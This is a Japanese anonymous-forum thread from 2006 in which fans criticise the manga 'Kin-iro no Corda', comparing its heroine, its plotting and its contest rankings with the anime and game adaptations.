159 :花と名無しさん:2006/12/03(日) 15:50:16 ID:???0
アニメコルダのCD売上も新聞に出ちゃうくらい売れてるようだし、
アニメも評判いいみたいだし、ゲームは続編でるのが決まったし、
そうなると、あとはアニメの原作となってる漫画への期待が膨らむわけだが・・・
表紙買いして失敗したコミックに、地味にコルダが結構入ってるのが本当に辛い
軌道修正は無理でも、ここいらで気合入れてやってほしいよ
最後がよければすべてよし、ってことで、途中は水に流すからさ

たのんます、呉さん・・・・・・・・・

160 :花と名無しさん:2006/12/03(日) 16:11:31 ID:???O
つか担当は何も指摘しないの?そういう事をさ

161 :花と名無しさん:2006/12/03(日) 16:11:52 ID:???0
>>159
スレ見てきた
表紙買いするだけあって、さすが絵の評価は高めだな
お約束で単調、音楽要素が少ない、主人公の性格云々…ってところか

EDジャケ絵で気になってるところがあるんだけど、
月森の腰のあたりにある、白と黒のやつは何だろ?ベルト?
シャツの合わせ目とシワの線のせいでお腹ぽっこりして見える
あと、志水の目の周りの塗りが濃過ぎてちょっと怖いorz

162 :花と名無しさん:2006/12/03(日) 16:15:22 ID:???0
>>161
黒のパンツ履いて、白いベルトかと思うんだが。
違うかな?

163 :花と名無しさん:2006/12/03(日) 16:27:49 ID:???0
しかし、アニメのED絵って、なんであんなに月森のシャツがはだけてんだw
知らなかったよ、月森がお色気担当だって

呉さんが描く月森って、ときどきイメージから遠いことがあるなあ・・・

164 :花と名無しさん:2006/12/03(日) 16:31:08 ID:???0
>>159
表紙買いすると損するランキングで3位とは…<コルダ
アニメのこともあるし漫画買ってガッカリする人は増えるだろうなぁ

165 :花と名無しさん:2006/12/03(日) 16:38:55 ID:???0
>>162
d、あれベルトでいいのか…なんかバランス悪く見えないか?
火原のジャケットの裾がベルトと同じラインなのもおかしく見えるんだがorz

>>163
アニメ月森なんてもっと(ry
月森は感情が表に出てるときの方が年相応らしくて好きだ

166 :花と名無しさん:2006/12/03(日) 16:57:23 ID:???0
>>165
焦ったときとか感情が出てる月森に声がつくと、
あんな感じになるのかーとほほえましく見てる>アニメ
なかなか感情を出さないだけに、感情が出るとすごく幼く見えるよね
でも、いい面に作用してるから無問題

167 :花と名無しさん:2006/12/03(日) 17:02:48 ID:???0
なぜここに日野さんがっ

のときの月森はメチャクチャ可愛かったね
アニメの月森はたまに妙に乙女ちっくな何かを感じる

168 :花と名無しさん:2006/12/03(日) 17:32:27 ID:???0
>>167
あれは可愛かったwあと合宿編のポヤーンも乙女だったw
声の効果で言えば、柚木がじわじわ追い詰めるのもなかなか…

アニメだと、香穂子が地雷を踏んだことが気になって練習に集中できず
謝りに行こうとしたシーンがあったけど、月森の練習を見て自分のことを
勝手だ、月森君の方が大変なはずなのにと反省するシーンは好感持てたな

ああやって、積極的に自分の言動や他人の言葉を振り返るシーンが
漫画には少ないと思う、前にも出てたけど言われて気付くってパターンが多いね

169 :花と名無しさん:2006/12/03(日) 17:57:47 ID:???O
漫画ではそういうシーンが少ないから、
香穂子がただのトラブルメーカーに見えてしまうんだろうな
普通の高校生なんだから失敗も空回りもあって当然だけど、
そんな自分を省みる謙虚さが無いのはちょっとな

170 :花と名無しさん:2006/12/03(日) 18:12:41 ID:???0
良かれと思ってした失敗なら普通に同情できるけど
香穂子は何も考えずにトラブル起こすから
愛せる系のバカとは次元が違うんだよなー・・・

171 :花と名無しさん:2006/12/03(日) 18:15:45 ID:???O
>>160
指摘しないのかねぇ
コミクスの売れ行きもプッシュのわりに…のようだし、
立て直してもらいたいんだけどね

呉さんは小さい頃にピアノやってた程度みたいだけど、
音楽面の取材というか勉強はあまりしてないのかな?

172 :花と名無しさん:2006/12/03(日) 18:21:04 ID:???O
取材以前の問題であるヒロインの造形からして迷走してるんじゃ
とてもそんな余裕ないのでは

173 :花と名無しさん:2006/12/03(日) 18:33:16 ID:???0
>>171
コミックスの売れ行きより、買った人の満足度がすごく低そうな漫画だ

174 :花と名無しさん:2006/12/03(日) 18:38:41 ID:???O
売れ行きと満足度は違うしね

175 :花と名無しさん:2006/12/03(日) 18:49:54 ID:???O
売れ行きも芳しくないうえに満足度も低いなんて…

この先、香穂子を最終セレに出すまでの流れで行き詰まりそうな予感
よほどの説得力がないと難しいだろうに

176 :花と名無しさん:2006/12/03(日) 18:59:37 ID:???0
コミックは買わないなー。気になったら古本屋で立ち読みだわ。
本誌は買うけど。

177 :花と名無しさん:2006/12/03(日) 19:05:16 ID:???0
ああ、自分も本誌だけだな

178 :花と名無しさん:2006/12/03(日) 19:27:00 ID:???0
>>175
今まででさえ説得力に欠けてたのに
今度は普通のヴァイオリンだからなぁ・・・
どうするつもりだろうほんと

179 :花と名無しさん:2006/12/03(日) 19:28:47 ID:???0
これでいきなり普通のヴァイオリンで1曲弾けちゃった日には…

(((( ;゚Д゚)))ガクガクブルブル

180 :花と名無しさん:2006/12/03(日) 19:31:58 ID:???O
>>179
天才……だよね

181 :花と名無しさん:2006/12/03(日) 19:33:34 ID:???0
天才じゃなくてデタラメだと思う

182 :花と名無しさん:2006/12/03(日) 19:36:01 ID:???0
ギャグだな

183 :花と名無しさん:2006/12/03(日) 19:39:04 ID:???0
流石に呉さんも簡単に弾けるようにはしないんじゃないかな

184 :花と名無しさん:2006/12/03(日) 19:43:12 ID:???0
セレまでに弾けるようになったらどうしたって「簡単」に見えそう

185 :花と名無しさん:2006/12/03(日) 19:53:02 ID:???0
簡単に弾けないなら優勝はせず、特別賞
そしてコルダ2へと続く?w

総合優勝させそうな気はするんだけどな

186 :花と名無しさん:2006/12/03(日) 19:55:30 ID:???0
2度最下位になってるのに総合優勝って出来るのか

187 :花と名無しさん:2006/12/03(日) 19:56:10 ID:???0
優勝はさせないと思う
月森優勝と予想
香穂子は3セレのあれで最下位なんだから最下位しかないだろう

188 :花と名無しさん:2006/12/03(日) 19:58:51 ID:???0
総合で香穂子より下のキャラがいたら可哀相すぎる

189 :花と名無しさん:2006/12/03(日) 20:00:03 ID:???0
特別賞か…なんかそういうのありそうで怖い

ところで志水の言葉に対して香穂子は戸惑ってただけで返事もなしなんだよね
あれもまたそのまま流れてしまいそうで残念
個人的には、香穂子がまたヴァイオリンに戻ってきて
火原に挨拶したところで顔を出してほしかった
あれはあれでいいとも思うんだけど、物足りなかったというか…

190 :花と名無しさん:2006/12/03(日) 20:03:15 ID:???0
4セレだけでも魔法なしで香穂子より下な参加者がいたら
もうギャグというか悲壮というかオワットル

191 :花と名無しさん:2006/12/03(日) 20:03:32 ID:???0
あれはページ足りなかったのかと思った…
無理して1回に詰め込まなくてもいいのに

192 :花と名無しさん:2006/12/03(日) 20:08:24 ID:???0
>>189
あいさつのところ、ああいう演出は自分は好きなんだけど
結局あいさつはしても辞退を言い出して心配かけたことは
3セレ当日に顔をあわせるまで忘れてたっぽい描写を見たら
あの時説明したら良かったのに、と好意的にとらえられなくなったよ…

193 :花と名無しさん:2006/12/03(日) 20:12:30 ID:???0
>>192
そうそう、あれがなかったらあの演出もいいかなって思ってたんだ
まさかセレ当日火原に聞かれてあの反応とは思わなくて…
あのときの会話で一気に火原が調子崩したのでなおさら

194 :花と名無しさん:2006/12/03(日) 20:25:46 ID:???0
>>187
月森は1回不参加だから
優勝は厳しいんじゃ…

どういう点のつけ方なのかわからないけど、
ゲームじゃドヘタでもでてれば400点、高得点だと1000点だから
ゲーム的採点じゃ絶対ミリ

195 :花と名無しさん:2006/12/03(日) 20:29:22 ID:???0
毎回そこそこ上位に食い込んでるのが柚木。
このままいけば、ヤツじゃないのか?<総合優勝


196 :花と名無しさん:2006/12/03(日) 20:31:26 ID:???0
>>194
でも月森は優勝狙ってるって言ってたから可能性あるのでは…
あれって、土浦と火原は総合優勝のこと話してるから
月森もそっちのこと言ってるんだよね?
それとも最終セレのことを言ってたんだろうか

197 :花と名無しさん:2006/12/03(日) 20:32:00 ID:???0
>>194
別にゲーム的な点のつけ方にする必要ないし
1位と2位とってる月森が最有力なんじゃないの
土浦だって一回目の分どうなるかよく分からないし

198 :花と名無しさん:2006/12/03(日) 20:35:45 ID:???0
火原、土浦は自ら優勝無理って言ってるからないんだろう
月森は…どうなんだ?

199 :花と名無しさん:2006/12/03(日) 20:38:40 ID:???0
>>195
柚木かぁ…ゲームは知らないが、どうも裏でライバル相手に
プレッシャーかけたり脅したりしてるのが好感持てない
ああいうやり方の奴が総合優勝だったりしたら萎えるだろうな

200 :花と名無しさん:2006/12/03(日) 20:43:53 ID:???0
柚木は陳腐すぎる・・

201 :ちょっとゲーム話:2006/12/03(日) 20:45:21 ID:???0
>>199






ゲームでは香穂子以外のキャラに黒は見せてない。
感付いてるキャラはいるが。








202 :花と名無しさん:2006/12/03(日) 20:46:32 ID:???0
スコア的な見方ではなく、全体のバランスで決まりそう。

いままで3位以上の人が有力だろうね。
ゲームは採点1000点以上がでるからわけわからん…
観客投票とかあったりして。

203 :花と名無しさん:2006/12/03(日) 20:48:54 ID:???0
最後に観客やリリ達も投票してしまえばいいよ。

204 :花と名無しさん:2006/12/03(日) 20:49:18 ID:???0
>>202
親衛隊が組織票を持っていそうなので投票結果があゃしぃです!

205 :花と名無しさん:2006/12/03(日) 20:49:53 ID:???0
今まで順発表の時に得点が出てないのに
最後になって、実は今までこういう点で…なんて出されてもポカーンだよ
順位で決まると思うけど、順位点があるとも明らかになってないし
2セレから参加の土浦に何らかのフォローがあるのかは気になってるけど…

>>199
庄司さんや音楽科の眼鏡達の方がえげつなくて
柚木の意地悪なんてかわいいものだと思ってしまった自分がいる

206 :花と名無しさん:2006/12/03(日) 20:51:02 ID:???0
柚木の場合参加者だからな…

207 :花と名無しさん:2006/12/03(日) 20:51:46 ID:???0
順位で考えるといまのところトップは柚木っぽいけど
どうなんだろ

208 :花と名無しさん:2006/12/03(日) 20:53:12 ID:???0
>>197
とはいえ、1セレ2位、2セレ4位(だっけ?)、3セレ1位だよ?
2セレも4位とはいえ差はそんなにないってはなしだ。

柚木がもっと順位全体に低ければ可能性はあると思うけど

209 :花と名無しさん:2006/12/03(日) 20:53:35 ID:???0
3セレでトップになった柚木が4セレ取るとは思えないし
物語の流れから言って月森では。

210 :花と名無しさん:2006/12/03(日) 20:58:22 ID:???0
お約束路線を外す人じゃないしなぁ
いくら呉さんでも普通のヴァイオリンで香穂子を高順位にはできないだろうし
香穂子の優勝がない以上月森って感じ

211 :花と名無しさん:2006/12/03(日) 21:06:11 ID:???0
香穂子 6→2→7
月森  1→-→2
土浦  -→1→4
志水  3→5→3
火原  5→3→6
柚木  2→4→1
冬海  4→6→5

212 :花と名無しさん:2006/12/03(日) 21:07:57 ID:???0
>>211
冬海ちゃん(´Д⊂

213 :花と名無しさん:2006/12/03(日) 21:11:08 ID:???0
冬海ちゃんの存在理由がないよな、漫画では

214 :花と名無しさん:2006/12/03(日) 21:12:43 ID:???0
そういえば、3セレの王崎先輩との会話見て
冬海ちゃんの順位今回は上の方になるなと思ったよw

215 :花と名無しさん:2006/12/03(日) 21:14:22 ID:???0
>>214
別にアレ見てもならんだろうと思ったよ
つか、「今更!?」って感じだった
最初のセレクションで指摘しろよ

216 :花と名無しさん:2006/12/03(日) 21:15:59 ID:???0
>>211
月森は第二セレは一応7位になってなかった?
暴力事件の被害者なのに最下位で参加扱いって無茶苦茶だけど。
第4セレでも強引な順位調整するのかなあ・・・

217 :花と名無しさん:2006/12/03(日) 21:17:15 ID:???0
>>215
最初のセレ、拍手してるだけで王崎先輩出番なかったorz


218 :花と名無しさん:2006/12/03(日) 21:17:33 ID:???0
コルダアニメ制作者が意識していること
・群像劇にする
・一話完結型ではなく引きを作る
・セレテーマに沿った選曲ならびに物語を展開させる
・女キャラに色気を出す
・香穂子=太陽のとおり主人公が各キャラへ放射状に影響を与えていくよう意識

こういうはっきりとしたコンセプトみたいなもんがあれば、
漫画でもおのずと良い方向へいくと思うんだが…

219 :花と名無しさん:2006/12/03(日) 21:18:38 ID:???0
スマソ、月森は第二セレ7位扱いだったね…じゃぁ、棄権とは違って点数?が付くってことか

香穂子 6→2→7
月森  1→7→2
土浦  -→1→4
志水  3→5→3
火原  5→3→6
柚木  2→4→1
冬海  4→6→5

220 :花と名無しさん:2006/12/03(日) 21:19:24 ID:???0
>>218
漫画版にないものばかr(ry

呉さん、ガンガッテ。
もの凄くガンガッテ。

221 :花と名無しさん:2006/12/03(日) 21:22:07 ID:???0
>>216
それも呆れたよ
加害者のお咎めは置くとしても月森が棄権した理由はスルー?
誰も本人に問い質さなかったの?と思った

222 :花と名無しさん:2006/12/03(日) 21:24:39 ID:???0
加害者にお咎めとかよりも
加害者に対してなんらかの対策は取らんのか?って感じ
今後もそんなことに怯えながらやっていくのか

223 :花と名無しさん:2006/12/03(日) 21:27:17 ID:???0
最終回、私達の最終セレの幕が開ける…!で第一部完
アニメ終了&ゲーム続編発売に合わせて春から第二部開始 と予想してみる

224 :花と名無しさん:2006/12/03(日) 21:28:20 ID:???0
>>222
誰も気にしてないからね…

225 :花と名無しさん:2006/12/03(日) 21:30:10 ID:???0
あんな悪役作らんでも、月森のエピは作れたと思う
安易に作るからこんな風に突っ込まれるわけで…
普通にセレ進めたら月森が優勝しちゃうから
棄権=順位を下げるネタを作ったようなもんじゃないか

226 :花と名無しさん:2006/12/03(日) 21:30:27 ID:???0
>>223

なんで最終セレやらずに終わるの?
続編って冬なんでしょ?なら4セレ終了で切ったほうがいいじゃん

227 :花と名無しさん:2006/12/03(日) 21:30:39 ID:???0
>>223
いいいいいいいいいいややややややややあああああああああああああ!
それだけは勘弁して。


228 :花と名無しさん:2006/12/03(日) 21:34:35 ID:???0
>>223
クマーーー!!!

229 :花と名無しさん:2006/12/03(日) 21:35:13 ID:???0
>>218
>・セレテーマに沿った選曲ならびに物語を展開させる
当たり前のはずなのに頼もしく感じられる言葉だ…

アニメ公式のスタッフコメントで
>もともと、コルダのベースにあるテーマは
>「がんばる女の子は輝いている。そしてがんばるといいことがやって来る」というものでした
って見たとき、漫画とは大きく違うものになるなと思ったよ


230 :花と名無しさん:2006/12/03(日) 21:40:16 ID:???0
4セレ終わっても何もなさそうだねぇ
漫画に面白い展開はいつまでも期待できんな

231 :花と名無しさん:2006/12/03(日) 21:41:51 ID:???0
だから香穂子が前向きなキャラ造形に大幅修正されてるのか
コルダのアニメはほんとにスタッフに恵まれてるね

232 :花と名無しさん:2006/12/03(日) 21:42:26 ID:???0
コルダ2が始まるとしても
理由も無く香穂子を気にする男が増えるだけのような気がする

233 :花と名無しさん:2006/12/03(日) 21:43:11 ID:???0
寒い展開だな

234 :花と名無しさん:2006/12/03(日) 21:44:42 ID:???0
>>229
脚本家が「頑張る女の子」を得意としてるそうだから余計にね

リリから普通のヴァイオリンを貰ったけど、
傍目に観たら楽器が変わったこと解るのかな?
音色以前にその辺ツッコミ受けそうじゃないかと思って

235 :花と名無しさん:2006/12/03(日) 21:47:58 ID:???0
逆に呉さんは頑張る子を描くのが下手だね
あの独りよがりっぷりはどうにかならないだろうか

236 :花と名無しさん:2006/12/03(日) 22:13:04 ID:???0
>>235
勝気な女の子を描くのが好きなのかな

呉さんが描く女の子らしい女の子って、どれも腹黒く見えるのはなぜだw

237 :花と名無しさん:2006/12/03(日) 22:13:14 ID:???0
>>235
ヒロインは重要なのにな…

238 :花と名無しさん:2006/12/03(日) 22:15:19 ID:???0
「金色のコルダを憂うスレ」になってるw
いや気持ちは分かるがね

239 :花と名無しさん:2006/12/03(日) 22:16:42 ID:???0
>>236
腹黒ってほどの頭脳を感じない
幼稚なキャラばっかりだ・・・

240 :花と名無しさん:2006/12/03(日) 22:17:21 ID:???0
>>236
笑顔があんまり爽やかじゃないからでは?w

241 :花と名無しさん:2006/12/03(日) 22:18:43 ID:???0
>>234
現実じゃ楽器替えたらすぐわかるし、
そもそもコンクールの最中に楽器替えるなんて考えられないけど・・・
呉さんなら
生徒「ヴァイオリン替えたの?」
香穂子「うん、ちょっとね・・・」(ごまかし笑い)
で終わりそうな気がする。

242 :花と名無しさん:2006/12/03(日) 22:20:08 ID:???0
>>241
またごまかしかー

243 :花と名無しさん:2006/12/03(日) 22:22:14 ID:???0
コルダ2の新キャラ、LaLaの袋とじページの話題はネタバレになるのか?
ここで話してもいいんだよね?

244 :花と名無しさん:2006/12/03(日) 22:24:32 ID:???0
>>243
本誌の内容は発売日の正午からネタバレOKだからここで話しても問題ないよ
ただ、ゲームメインの話ならゲームスレで話した方が良いと思うけど

245 :花と名無しさん:2006/12/03(日) 22:27:39 ID:???0
>>218
でも月は太陽を中心にまわってないんだよなぁ

246 :花と名無しさん:2006/12/03(日) 22:30:33 ID:???0
>>244
そっか〜。漫画でそこまでやるかどうか解らないもんね。d!

247 :花と名無しさん:2006/12/03(日) 22:30:43 ID:???O
>>245
その代わり、日食や月食があるよ

248 :花と名無しさん:2006/12/03(日) 22:32:26 ID:???0
どっちも地球が大きく影響してるなぁ
2で加地さんが太陽・月・地球の関係で関わってくると面白いんだけど
どの道当分はそういう面でも期待はできないかw

249 :花と名無しさん:2006/12/03(日) 22:37:07 ID:???0
>>248
つか漫画でそこまでやらなくていい
現行のキャラでさえ活かしきれていないのに

250 :花と名無しさん:2006/12/03(日) 22:45:42 ID:???0
二年生限定にしても描けてないしな

251 :花と名無しさん:2006/12/03(日) 22:46:35 ID:???0
3人しかいないぞw

252 :花と名無しさん:2006/12/03(日) 22:49:38 ID:???0
呉作品取扱説明書
・メインキャラは二人まで
・ヒロイン視点限定
・チンピラ登場がデフォ

253 :花と名無しさん:2006/12/03(日) 22:51:12 ID:???0
>>239
小学生と似たようなレベルですから

254 :花と名無しさん:2006/12/03(日) 23:01:19 ID:???0
>>252
ちょ、最後のチンピラwwww
星奏の制服を着たチンピラを想像したww

255 :花と名無しさん:2006/12/03(日) 23:03:01 ID:???0
監禁とかチンピラのレベルを超えてると思う

256 :花と名無しさん:2006/12/03(日) 23:07:28 ID:???0
監禁っていうか、閉じ込めな

監禁っていうと連れ去って拘束してるイメージがあるからさ

257 :花と名無しさん:2006/12/03(日) 23:07:57 ID:???0
>>255
ここで何度も話が出てるけど、嫌がらせも本当に陳腐だよなー
本当にくだらなすぎる
どうしたらあんな話を思いつくのか不思議でしょうがない

258 :花と名無しさん:2006/12/03(日) 23:08:58 ID:???0
>>256
監禁も閉じ込めも同じ。
拉致なら連れ去りだけどさ

259 :ゲーム話:2006/12/03(日) 23:09:40 ID:???0





靴を汚されたり、小学生レベルの嫌がらせのある音楽科には笑わせてもらった。
昔の少女漫画のノリの妬み満載なゲームだよね

260 :花と名無しさん:2006/12/03(日) 23:11:27 ID:???0
きっと上履きに画鋲も入れられてる、と思ったが、
星奏は下駄箱ないんだよなw

261 :花と名無しさん:2006/12/03(日) 23:11:39 ID:???0
背中(腰?)蹴られたはずみで壁に頭ぶつけて気絶だもんね…
読んでて辛かったし、腹立たしかった

ところであの扉に鍵らしきものがどこにも見当たらない件

262 :261:2006/12/03(日) 23:12:12 ID:???0
鍵→鍵穴

スマソ

263 :花と名無しさん:2006/12/03(日) 23:12:36 ID:???0
>>257
ゲームのように靴に泥塗られてるほうがよかった?

264 :花と名無しさん:2006/12/03(日) 23:15:52 ID:???0
>>255
チンピラより凶悪な妨害をかいくぐらなければ舞台に立つ資格は無く
当日に監禁されたら全てを自分の胸に収めて
最下位に甘んじなければならないのです
それが正しく潔い道なのです

265 :花と名無しさん:2006/12/03(日) 23:19:17 ID:???0
>>264
それが星奏クオリティ

266 :花と名無しさん:2006/12/03(日) 23:21:17 ID:???0
>>260
あったらきっと入れられてるさw

267 :花と名無しさん:2006/12/03(日) 23:23:01 ID:???0
>>260
「俺のトゥシューズに画鋲が!」

268 :花と名無しさん:2006/12/03(日) 23:23:24 ID:???0
月森いじめられっ子だしね

269 :花と名無しさん:2006/12/03(日) 23:24:29 ID:???0
男の力で背中を蹴られて壁まで吹っ飛ぶ
→むちゃくちゃ痛いです。場合によっては数年痛む。

頭を打って失神
→脳震盪を起こしたんだろうけど、一応病院いっとけ。

270 :花と名無しさん:2006/12/03(日) 23:25:36 ID:???0
2セレで、閉じ込められた月森が香穂子に放ったセリフはひでーよな
「ライバルが減って本望だろう」なんて普通の人間が言うわけが無い
閉じ込め自体もかなり強引だけど、このセリフにはドン引きでした

271 :花と名無しさん:2006/12/03(日) 23:25:56 ID:???0
>>267

Σケ 勹|||
        

272 :花と名無しさん:2006/12/03(日) 23:27:47 ID:???0
>>270
現実にはわりとあるのかもよ>ライバルが減っ(ry
プロを目指すなら、音楽ってものすごい競争世界だから

273 :花と名無しさん:2006/12/03(日) 23:29:04 ID:???0
そのうち指折られそうになったりして((((;゚Д゚))))ガクガクブルブル

274 :花と名無しさん:2006/12/03(日) 23:30:21 ID:???0
そして月森がイジメを克服するために修行をし
スーパー月森君になったところで涙の最終回

275 :※ゲーム話:2006/12/03(日) 23:31:51 ID:???0
>>273










同じヴァイオリン教室の上級生に生意気だから、と指を折られそうになった経験あり
本人もあれが一番恐い出来事だった、といってるよ。


276 :花と名無しさん:2006/12/03(日) 23:34:27 ID:???0
>>272
だからリリが見えないんだったりして

277 :花と名無しさん:2006/12/03(日) 23:34:52 ID:???0
参加者も見えてないし・・

278 :花と名無しさん:2006/12/03(日) 23:39:16 ID:???0
>「ライバルが減って本望だろう」

月森が小さい頃から大人に囲まれながら音楽やってきた中で
いろいろあったんだろうなと察することはできたよ
土浦が昔経験したことと一緒で…

あのとき月森は「意味」について考えてたみたいだけれど、
第三セレのとき、それは反映されてたのかなぁ
第二セレの演奏がいつもと違ったことは母親の反応で判ったけれど、
そこがよく解らなかったな

279 :花と名無しさん:2006/12/03(日) 23:42:08 ID:???0
折角2セレで変化があったのに
その後すっかり忘れちゃったっぽいもんね
もったいない

280 :花と名無しさん:2006/12/03(日) 23:44:22 ID:???0
なんでこう健忘症気味なんだろうな、漫画キャラは

281 :花と名無しさん:2006/12/03(日) 23:44:32 ID:???0
なにかあっても、次にはすっかり忘れられててストーリーが進む
それが呉クオリティ


そんなクオリティはイラネーヽ(`Д´)ノ

282 :花と名無しさん:2006/12/03(日) 23:45:32 ID:???0
キャラ総アルツハイマー病

283 :花と名無しさん:2006/12/03(日) 23:46:00 ID:???0
プラス厨二病

284 :花と名無しさん:2006/12/03(日) 23:48:02 ID:???0
やるんだったら柚木覚醒と月森覚醒は逆の方がよかったかもねー
でも全体の流れとしてはムリがあるカー

少なくとも2セレで素晴らしい演奏をしたらしい月森が
3セレでいつもより演奏の荒い柚木に負けるってアリエネー

285 :花と名無しさん:2006/12/03(日) 23:49:26 ID:???0
>>281
でもそれが呉さんが今駄目な一番の理由だと思う
繋がりがなさ杉

286 :花と名無しさん:2006/12/03(日) 23:49:30 ID:???0
荒いといっても、演奏が下手だったわけじゃないと思うが・・・

287 :花と名無しさん:2006/12/03(日) 23:50:27 ID:???0
>>281
描いてる本人は何故気にならないのだろう

288 :花と名無しさん:2006/12/03(日) 23:51:26 ID:???0
アニメじゃ黒柚木全般は第二セレ以降だからね
あちらはおそらく、より説得力のある描き方もしてくれるだろう

漫画は音や声がないけれど、ちょっとした表情の変化や
細かい演出でいくらでも読者を惹き込めるものだと思うんだけどな

289 :花と名無しさん:2006/12/03(日) 23:52:16 ID:???0
>>286
「荒い」という言葉を遣ったのがそもそもの間違いではないかと…
あんまり良い意味には聞こえないと思うんだ

290 :花と名無しさん:2006/12/03(日) 23:52:42 ID:???0
>>286
つーたって、本人だって意識できないレベルの演奏だよ?
演奏後に「?」ってなる演奏が
既に覚醒? 終えたはずのしかも技術も相当上の月森より上って
なんだかなぁ、って思った

291 :花と名無しさん:2006/12/03(日) 23:53:53 ID:???0
そういえば、月森のイベントは終わっちゃったぽいし、
漫画の月森は歌心を知らないままに終わるんだろうか
ちょっともったいないな

292 :花と名無しさん:2006/12/03(日) 23:53:57 ID:???0
>>286
私も下手だったのかと思ってた。呉さんの、ただキャラに言わせるだけの
描き方じゃわかりにくい。

293 :花と名無しさん:2006/12/03(日) 23:54:22 ID:???0
月森覚醒してたのか

294 :花と名無しさん:2006/12/03(日) 23:57:50 ID:???0
>>278
心の中でそう思ってるだけなら全然問題ないよ

だけど、あのシチュエーションで普通口には出さない
あれじゃ、ただの性格曲がった嫌味な人間でしかない

295 :花と名無しさん:2006/12/03(日) 23:58:42 ID:???0
月森はもっといけると思ってたけど…と言ってるあたり
本調子ではなかったということなのかな
それで感情がうまく乗った柚木よりも下に?
月森が乗れなかったのは香穂子の影響なのかね
まだこの辺は出てきてないけれど、いずれ読めるんだろうか

296 :花と名無しさん:2006/12/03(日) 23:58:56 ID:???0
>>294
漫画じゃ偏屈でいつもきついこと言うキャラじゃん

297 :花と名無しさん:2006/12/03(日) 23:59:51 ID:???0
>>295
期待するな<いずれ読める
土浦エピも投げっぱなしだし

298 :花と名無しさん:2006/12/04(月) 00:02:33 ID:???0
>>296
まあそうか。あの程度で文句言うのも何だな
もっと酷いのも居るし・・・

299 :花と名無しさん:2006/12/04(月) 00:02:47 ID:???0
>>296
うん。そんな感じ

300 :花と名無しさん:2006/12/04(月) 00:04:02 ID:???0
女の子の手紙捨てるような奴ですから

301 :花と名無しさん:2006/12/04(月) 00:04:32 ID:???0
ゲームスレでコルダ漫画の英語版があると聞き、検索してみた
ttp://www.amazon.com/Corda-Oro-Doro/dp/1421505835/

なんかすごいw

302 :花と名無しさん:2006/12/04(月) 00:06:13 ID:???0
>>295
香穂子の影響で乗れなかったのは火原もだが、
もっと期待出来ないな・・・

303 :花と名無しさん:2006/12/04(月) 00:06:19 ID:???0
実力が僅差の人間同士でならありかも<「ライバルが減って云々」
誰がどこまで進んだかとか
内心物凄いプレッシャーの中で競り合うし
希望通りの進路に進めるのは一握りの人間だからな

304 :花と名無しさん:2006/12/04(月) 00:07:14 ID:???0
>>301
カコイイw

305 :花と名無しさん:2006/12/04(月) 00:08:36 ID:???0
>>300

そんな場面あったっけ?

306 :花と名無しさん:2006/12/04(月) 00:09:13 ID:???0
うわ、ほんとだw
外国の人はコルダに出てくる陰湿ないじめとかどう思うんだろ・・・
「ありえねーwww」とか言ってたらワロスw

307 :花と名無しさん:2006/12/04(月) 00:09:29 ID:???0
>>303
このコンクールはリリ主催だから順位は関係無いそうだけど
月森たちは激しく勘違いしてるってことか

308 :花と名無しさん:2006/12/04(月) 00:10:42 ID:???0
>>302
火原浮上はやるでしょ
あそこまで香穂ちゃん香穂ちゃん悩ませて放置はしないと思う

月森が力を出し切れなかった理由はやらないだろうけど…

309 :花と名無しさん:2006/12/04(月) 00:11:46 ID:???0
月森の場合は力を出し切れなかった理由も分からん

310 :花と名無しさん:2006/12/04(月) 00:12:37 ID:???0
>>307
月森邸に押しかけたとき、「優勝すること以外になんの意味がある」ってなこと
言ってるからなーどんな場でもそんな感じなのかなぁ

>>305
多分ゲームの話なんじゃないかと

311 :※ゲーム話:2006/12/04(月) 01:19:22 ID:???0
ライバルキャラが6-7-6-1(最後は特別曲)で総合2位をとった事がある。
漫画はゲーム基準じゃないが採点基準が分からん。

312 :花と名無しさん:2006/12/04(月) 01:57:27 ID:???0
実況スレで第二セレの火原の衣装が激しく突っ込まれてたよw

313 :花と名無しさん:2006/12/04(月) 02:00:46 ID:???0
漫画でも変だと思ってたけど
アニメでやられると、相当痛い衣装だってことがわかったw

314 :花と名無しさん:2006/12/04(月) 02:06:44 ID:???0
警鐘がなくなってたらしいね
あと、月森の演奏に対する香穂子の気持ちが具体的に語られていたとか

…浮いてたよなぁ、あの警鐘って単語…

315 :花と名無しさん:2006/12/04(月) 02:13:22 ID:???0
何の警鐘なのかサパーリだったからなあ

316 :花と名無しさん:2006/12/04(月) 02:14:35 ID:???0
地雷も浮いてたように思えるなー。
全体的に言葉が古臭いっていうか


317 :花と名無しさん:2006/12/04(月) 02:19:09 ID:???0
>>316
地雷は、警鐘より全然マシでしょう・・・
一応意味は通じてるわけだし。
警鐘はなんであの場面で出てきた言葉なのか、意味ワカンネ

318 :花と名無しさん:2006/12/04(月) 02:19:33 ID:???0
ネタバレスレを見ていて知ったんだが、
金やん先生が冬海ちゃんに時間稼ぐよう言うシーンでも
違和感あった人が居たんだね

言われてみれば確かにそうか…
呉さんの描く各キャラの言動にはそういうの多いな
ゲームと多少違ってもいいけど、せめて好感持たれる方へ変わってほしいね

319 :花と名無しさん:2006/12/04(月) 02:26:34 ID:???0
時間稼ぐように言ったのは志水、
冬海は火原を蹴散らせって言ったはず

320 :花と名無しさん:2006/12/04(月) 02:28:20 ID:???0
273 名前:風の谷の名無しさん@実況は実況板で[sage] 投稿日:2006/12/04(月) 02:21:13 ID:lVE0e+qO
あの眼鏡の処分がどうなるとかが描かれることはないだろうし、
妨害されたことによる救済措置もなし。結局、「妨害したもん勝ち」みたいなヒドスなシステム。

そもそも、学園の一大行事であるコンクールなのに、運営・進行などの人間があの教師以外
誰もいない…。バックステージはほぼ出演者だけ。
「格」だけはスゴいもののように描いてるのに、中身がまるで子供騙し。
物語の中心となるものの設定や描写がこれではな。

277 名前:風の谷の名無しさん@実況は実況板で [sage] 投稿日:2006/12/04(月) 02:24:06 ID:fHC7ld37
妨害した音楽科の連中はいつも自分で地雷踏むなー(自分で妨害したって発言とか)
庄司さんみたいに1回位ならいいけど、2回目はなぁ

--

やはりアレはまずかったなと…呉さん、どうしてあんな展開にしたんだよ。・゚・(ノД`)・゚・。

321 :花と名無しさん:2006/12/04(月) 02:29:37 ID:???0
>>319
あぁ、申し訳ない!志水と混同してたよorz

322 :花と名無しさん:2006/12/04(月) 02:53:00 ID:???0
>>320
あーやっぱりそう思われたか。
確かにコンクールのシステム無茶苦茶だよなぁ

323 :花と名無しさん:2006/12/04(月) 02:58:09 ID:???0
>>318
ネタバレスレみてきたけど、あの訴えたい人は必死でちょっと怖い

324 :花と名無しさん:2006/12/04(月) 03:01:26 ID:???0
